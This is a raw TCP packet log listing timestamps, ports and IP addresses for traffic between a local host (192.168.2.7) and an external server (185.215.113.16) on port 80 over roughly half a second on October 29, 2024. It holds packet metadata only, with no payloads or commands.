Oct 29, 2024 20:36:17.318608046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318620920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318687916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.318732977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318742037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.318747044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318761110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318769932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.318773985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318794966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318805933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318818092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318824053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.318831921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318849087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.318861961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.318882942 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319016933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319031000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319042921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319055080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319060087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319094896 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319180012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319190979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319202900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319221973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319266081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319278002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.319287062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319299936 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.319324017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.329935074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.329947948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.329958916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.330035925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.330063105 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.369890928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.369908094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.369921923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.369971991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.370022058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.370059013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384502888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384536028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384546995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384572983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384583950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384596109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384602070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384608030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384634018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384665012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384670019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384701014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384828091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384840012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384865046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384902954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384922028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384927034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384963036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.384967089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384979010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384989977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.384999037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.385027885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.413501978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413521051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413535118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413605928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413604975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.413620949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413630009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.413635015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.413666010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.413696051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435178041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435203075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435215950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435235023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435246944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435257912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435271978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435307980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435441017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435465097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435477972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435504913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435534000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435566902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435585022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435599089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435610056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435641050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435659885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435664892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435677052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435700893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435703039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435725927 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435745001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435745955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435756922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435777903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435797930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435813904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435837984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435861111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435873032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435887098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435916901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435930014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.435946941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435973883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.435981989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436019897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.436028004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436069965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.436105013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436116934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436135054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436161041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436173916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.436173916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.436197042 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.436224937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.446640968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.446691036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.446702003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.446712971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.446748972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.446780920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.486951113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.486968994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.486983061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.487061977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.487081051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501518011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501540899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501559973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501573086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501585960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501611948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501631975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501662970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501696110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501708984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501722097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501730919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501755953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501771927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501785994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501799107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501808882 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501837015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501924038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501935959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501949072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.501995087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.501998901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.502012014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.502022982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.502027035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.502038956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.502038956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.502069950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.529841900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.529860020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.529870987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.529884100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.529952049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.529984951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554270029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554291010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554303885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554375887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554392099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554402113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554404020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554418087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554434061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554439068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554446936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554460049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554495096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554518938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554531097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554541111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554562092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554586887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554620981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554639101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554651022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554661036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554662943 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554672003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554677963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554686069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554697990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554708004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554708004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554730892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554753065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554860115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554872036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554923058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.554960012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554971933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554981947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.554995060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.555005074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.555016994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.555028915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.555087090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.558123112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.558123112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.564030886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.564088106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.564100027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.564114094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.564138889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.603955984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.603982925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.603995085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.604099989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.604192972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618725061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618752003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618762970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618834972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618848085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618860006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618869066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618869066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618884087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618913889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618913889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618941069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.618942022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.618983984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619019985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619060040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619086981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619097948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619116068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619198084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619225025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619236946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619247913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619261026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619266033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619272947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619281054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.619297981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.619318962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.647444010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.647458076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.647470951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.647484064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.647521019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.647598982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.647649050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669598103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669624090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669636011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669647932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669728041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669758081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669760942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669794083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669801950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669815063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669836044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669853926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669922113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669934034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669945955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669959068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669960022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669974089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.669991016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.669991970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670011997 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670044899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670089960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670103073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670114994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670151949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670170069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670228004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670244932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670258999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670269966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670281887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670285940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670294046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670306921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670310020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670336008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670454979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670465946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670480013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670490026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670510054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670536995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670710087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670722008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670733929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.670770884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.670798063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.681178093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.681202888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.681214094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.681329966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.720644951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.720665932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.720679045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.720772028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.720818043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.735686064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735702991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735722065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735733986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735747099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735759020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735770941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735790968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735802889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735811949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735817909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735821009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.735825062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735851049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735858917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.735904932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.735913038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735933065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.735951900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.735976934 CET	49983	80	192.168.2.7	185.215.113.16
